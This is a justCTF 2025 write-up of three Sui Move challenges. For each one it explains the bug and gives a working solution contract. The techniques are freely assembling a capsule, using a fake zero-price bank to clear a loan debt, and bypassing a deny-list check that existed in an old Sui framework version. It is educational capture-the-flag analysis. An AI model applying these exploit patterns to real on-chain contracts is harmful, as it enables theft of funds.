justCTF 2025

Analysis

1. The server publishes the challenge package at runtime, then exposes several shared objects:

   FakeID	Type
   (1,0)	LaunchCapsule (✱ target)
   (1,1)	LaunchInspectionLab (required ≥ 9)
   (1,2)	OtternautLab

2. It calls prepare_tools, which mints three tools and transfers them to the player account fixer_flippers:

   FakeID	Type
   (3,0)	AvionicsCalibrator
   (3,1)	HullFrame
   (3,2)	MicroWrench

3. Finally it loads our compiled solution.mv, then invokes

1
solution::solve( …dynamic‑args… )

The arguments are picked by us via the PARAMS_LIST array in framework-solve/src/main.rs and are passed by position, not by type checking! This lets us feed any objects we like.

Vulnerability / “bug”

The intended path is baked into the Move code itself.

1
public fun check_capsule_ready(capsule: &LaunchCapsule) {
2
    assert!(&capsule.status == CapsuleStatus::READY_FOR_LAUNCH, CAPSULE_NOT_READY);
3
    assert!(capsule.flight_software_version == REQUIRED_OS_VERSION, INVALID_OS_VERSION);
4
}

Only two fields need to be correct:

Inside assemble_launch_capsule we fully control two helper structs:

1
let boosters = build_boosters(lab, 9);      // thrust_rating = 9 ≥ required_safety
2
let os       = generate_flight_os(lab, 42); // version = 42

No additional checks are performed (build_boosters and generate_flight_os are pure constructors). Therefore we can always satisfy safety & version requirements as long as we own:

• &mut LaunchCapsule (shared object (1,0))
• &OtternautLab     (shared object (1,2))
• &LaunchInspectionLab (shared object (1,1))
• The three tool objects previously minted

Because the framework runs under the privileged address fixer_flippers, we have permission to mutate & consume those assets.

Exploit / Solve steps

1. Choose argument list (in PARAMS_LIST):

1
const PARAMS_LIST: [(u8,u8); 6] = [
2
    (1,0), // &mut LaunchCapsule
3
    (1,2), // &OtternautLab
4
    (1,1), // &LaunchInspectionLab
5
    (3,2), // MicroWrench
6
    (3,0), // AvionicsCalibrator
7
    (3,1), // HullFrame
8
];

2. Deploy solution::solve that:

   • Builds boosters with thrust 9.
   • Builds os with version 42.
   • Calls assemble_launch_capsule consuming the three tools.

3. After solve returns, the capsule is READY and check_capsule_ready succeeds, so the server prints Congrats, flag: ….

Solution contract

1
module solution::solution {
2
    use challenge::otternaut_launch::{
3
        LaunchCapsule, OtternautLab, LaunchInspectionLab,
4
        MicroWrench, AvionicsCalibrator, HullFrame,
5
        build_boosters, generate_flight_os, assemble_launch_capsule
6
    };
7

8
    public fun solve(
9
        capsule: &mut LaunchCapsule,
10
        lab: &OtternautLab,
11
        insp: &LaunchInspectionLab,
12
        wrench: MicroWrench,
13
        calibrator: AvionicsCalibrator,
14
        frame: HullFrame,
15
    ) {
16
        // Safety threshold is 9; give thrust >= 9 and OS version 42
17
        let boosters = build_boosters(lab, 9);
18
        let os = generate_flight_os(lab, 42);
19

20
        // Assemble and mark READY_FOR_LAUNCH
21
        assemble_launch_capsule(
22
            capsule,
23
            lab,
24
            insp,
25
            wrench,
26
            calibrator,
27
            frame,
28
            boosters,
29
            os
30
        );
31
    }
32
}

TL;DR

• check_capsule_ready only checks two fields.
• We can freely craft those fields via assemble_launch_capsule.
• Tools are minted for us; booster & OS constructors have no guards.
• Feed the right objects in the right order → capsule becomes valid → flag.

Analysis

After boot-strapping the Move runtime the framework:

The Rust harness later calls

1
solution::solve(arg0, arg1, …)

where each arg is picked by index from the list we provide in the client.

Key functions

1
/************  flag gate  ************/
2
public fun bribe_guard(guard, coins) {
3
    assert!(coins.value() >= 3_333, NOT_ENOUGH_FUNDS);
4
    guard.bal.join(coins.into_balance());
5
    guard.is_corrupted = true;
6
}
7
public fun is_solved(guard) {
8
    assert!(guard.is_corrupted, NOT_SOLVED);
9
}
10

11
/************  lending logic  ************/
12
public fun lend<X,SX>(
13
    acct, bank, amount, ctx
14
): (Coin<X>, LendReceipt<X>) { … }          // leaks `amount` from bank
15

16
public fun repay<X,SX>(
17
    acct, bank, coin
18
) {                                         // only checks `coin.value()`
19
    let debt = acct.take_all<X,SX>();       // ***filtered by phantom SX***
20
    let amt  = bank.calculate_shares_to_coin(debt.value()); // uses share_price
21
    assert!(coin.value() == amt, NOT_ENOUGH_FUNDS);
22
    …                                        // sets acct.dx = 0
23
}

Observations

• is_solved only looks at guard.is_corrupted. The bank, accounts, shares, receipts – none of that is re-checked.
• lend happily hands us real coins and only remembers the debt in acct.dx and the per-phantom-type bag.
• repay can be pointed at any CryonUnderbank<X,SX> object; the debt filter is on SX. If we repay to a bank whose SX ≠ original_SX and whose share_price = 0, it accepts a 0-value coin.

That is the core bug.

Exploit plan

1. Create a fake bank new_underbank<CRYON_CREDITS, S_CRYON_CREDITS_HA>(share_price = 0).
2. open_account → lend 3 333 CC from the real bank. We now hold the exact bribe.
3. bribe_guard with those coins – flag condition met.
4. Call repay + consume_receipt against the fake bank with a zero-value coin. This clears acct.dx and disposes the non-droppable LendReceipt so the compiler is happy.
5. Move the remaining key objects into shared storage; function returns with a clean stack.

Solution contract

1
module solution::solution {
2

3

4
    use sui::tx_context::TxContext;
5
    use sui::transfer;           // public_share_object / public_transfer
6
    use sui::balance;            // create_supply, zero()
7

8
    use challenge::cryon_credits::CRYON_CREDITS;
9
    use challenge::otternaut_syndicate::{
10
        S_CRYON_CREDITS,
11
        CryonUnderbank, CouncilGuard, BankCap,
12
        open_account, lend, repay, consume_receipt, bribe_guard,
13
        new_underbank,
14
    };
15

16
    public struct S_CRYON_CREDITS_HA has drop {}
17

18
    #[allow(lint(self_transfer))]
19
    public fun solve(
20
        bank : &mut CryonUnderbank<CRYON_CREDITS, S_CRYON_CREDITS>,  // (1, 2)
21
        guard: &mut CouncilGuard,                                    // (1, 1)
22
        ctx  : &mut TxContext,
23
    ) {
24
        /* spin-up a dummy bank with share_price = 0 */
25
        let supply = balance::create_supply(S_CRYON_CREDITS_HA {});
26
        let (mut fake_bank, fake_cap)
27
            = new_underbank<CRYON_CREDITS, S_CRYON_CREDITS_HA>(supply, /*price*/ 0, ctx);
28

29
        /* open an account & drain the REAL bank */
30
        let mut acct = open_account<CRYON_CREDITS>(ctx);
31
        let (loot, receipt) =
32
            lend<CRYON_CREDITS, S_CRYON_CREDITS>(&mut acct, bank, 3_333, ctx);
33

34
        /* bribe the guard — flag condition satisfied */
35
        bribe_guard(guard, loot);
36

37
        /* repay 0 CC to the FAKE bank → resets debt & lets us burn the receipt */
38
        let zero_coin = balance::zero<CRYON_CREDITS>().into_coin(ctx);
39
        repay<CRYON_CREDITS, S_CRYON_CREDITS_HA>(&mut acct, &mut fake_bank, zero_coin);
40
        consume_receipt<CRYON_CREDITS>(&mut acct, receipt);
41

42
        /* park leftover key objects on-chain so nothing non-droppable lingers */
43
        transfer::public_share_object(acct);
44
        transfer::public_share_object(fake_bank);
45
        transfer::public_transfer(fake_cap, ctx.sender());
46
    }
47
}

Client-side argument list

Only two objects are needed:

1
const PARAMS_LIST: [(u8,u8); 2] = [
2
    (1,2),   // &mut CryonUnderbank (real bank)
3
    (1,1),   // &mut CouncilGuard
4
];

The Rust framework passes them as mutable references in that order.

Flag timeline

1. solve mutates guard, returns.

2. Framework calls is_solved(guard) → succeeds.

3. Server prints

   1
   [SERVER] Correct Solution!
   2
   [SERVER] Congrats, flag: justCTF{...}

TL;DR

• Phantom generics are part of a type’s identity – swapping them lets you side-step per-type accounting if developers forget to tie them back to concrete data.
• A post-condition should always be enforced by whoever relies on it: here is_solved blindly trusts bribe_guard.
• Resource-safety errors at compile time often hint at creative work-arounds rather than roadblocks – we used a fake bank solely to dispose of a non-droppable receipt.

Analysis

1
let mut serialized_arguments = [0_u8; 2000];
2
let mut arguments = Vec::new();
3
let bytes_read = stream.read(&mut serialized_arguments)?;
4
if bytes_read >= 2 {
5
    for chunk in serialized_arguments[..bytes_read].chunks(2) {
6
        let param = (chunk[0], chunk[1]);
7
        arguments.push(param);
8
    }
9
}
10
...
11
// later, each (x,y) becomes a FakeID for an Object argument
12
let obj = SuiValue::Object(FakeID::Enumerated(x.into(), y.into()), None);

1
public struct CouncilCap has key { /* ... */ }
2
public struct OtternautCapsule has key { id: UID, fuel_vault: Balance<FUEL_CELL> }
3
const TANK_EMPTY: u64 = 1337;
4

5
public fun steal_forbidden_fuel_cell(
6
    _               : &CouncilCap,
7
    receiver        : address,
8
    treasury_cap    : &mut TreasuryCap<FUEL_CELL>,
9
    deny_cap        : &mut DenyCapV2<FUEL_CELL>,
10
    deny_list       : &mut DenyList,
11
    ctx             : &mut TxContext,
12
) {
13
    treasury_cap.mint_fuel_cell(receiver, 1, ctx);
14
    coin::deny_list_v2_add(deny_list, deny_cap, receiver, ctx);
15
}
16

17
public fun fuel_capsule(fuel: Coin<FUEL_CELL>, cap: &mut OtternautCapsule) {
18
    let bal = fuel.into_balance();
19
    cap.fuel_vault.join(bal);
20
}
21

22
public fun verify_tank(capsule: &OtternautCapsule) {
23
    assert!(capsule.fuel_vault.value() > 0, TANK_EMPTY);
24
}

Why focus on the deny‑list

Because after that setup, any transaction that includes Coin<FUEL_CELL> should be rejected by the prologue if the sender address is denied. So to ever call fuel_capsule(fuel_cell, capsule) we need a way around the deny‑list gate — either removal, or a bypass.

The vulnerability (old Sui)

Upstream fix: https://github.com/MystenLabs/sui/commit/f644d71e70ee2692a4de34472c9cd7e126116448

The old coin deny‑list prologue did roughly this:

1
for coin_type in coin_types_in_tx {
2
    match get_per_type_denylist_config(coin_type) {
3
        None => return Ok(()),      // early return – stops checking others
4
        Some(cfg) => {
5
            if cfg.is_denied(sender) { fail }
6
        }
7
    }
8
}

If the transaction contained any coin type with no denylist entry, the loop returned success immediately, skipping the denied type that might appear later in the same transaction.

That is exactly the primitive we need: make the transaction also carry a second, benign coin type — one that certainly has no per‑type config — and ensure it is present so the prologue exits early. The forbidden fuel cell is then ignored.

Exploit / Solve

1
const PARAMS_LIST: [(u8,u8); 3] = [
2
    (1, 2),  // &mut OtternautCapsule
3
    (3, 0),  // Coin<FUEL_CELL>
4
    (2, 1),  // Coin<SOLUTION>
5
];

Running locally

# Build server image
docker build -t exodus -f Dockerfile .

# Terminal A: run the vulnerable server
docker run --rm -it --network host -e FLAG=dummyflag \
  exodus bash -c "cd /workspace/sources && ./run_server.sh"

# Build client image (solver)
docker build -t exodus-solve -f solve.Dockerfile .

# Terminal B: run the client against localhost
docker run --rm -it --network host \
  -e HOST=127.0.0.1 -e PORT=31337 \
  exodus-solve bash -c "cd /workspace/sources && ./run_client.sh"

Expected tail:

1
[SERVER] Correct Solution!
2
[SERVER] Congrats, flag: dummyflag

Switch HOST to the remote instance when ready.

TL;DR

• The challenge pins Sui framework mainnet‑v1.30.1 and Move compiler 1.31.0 (sui flavor).
• Those versions contain a deny‑list prologue bug: if a transaction includes coins of multiple types and the first encountered type has no per‑type denylist config, the check returns early and skips checking subsequent coin types (including denied ones).
• We publish a benign coin type SOLUTION in our init (mint 1 coin to ourselves). In solve, we include both Coin<SOLUTION> and the forbidden Coin<FUEL_CELL> in the same transaction and call fuel_capsule with the forbidden coin. The prologue sees SOLUTION first and bails early; the forbidden coin slips through. Capsule is non‑zero → verify_tank passes → flag.

Takeaways

• Always check tooling & framework versions. The Move.lock and Cargo pins quickly revealed an old Sui build; looking up recent fixes around the deny-list led straight to the vulnerability class.
• When a framework lets you choose which objects become the arguments to your entry point, you can often shape the transaction to trigger subtle consensus/prologue bugs.
• Defense: the upstream fix replaced the early return with a continue, ensuring all coin types in a transaction are checked before admitting it.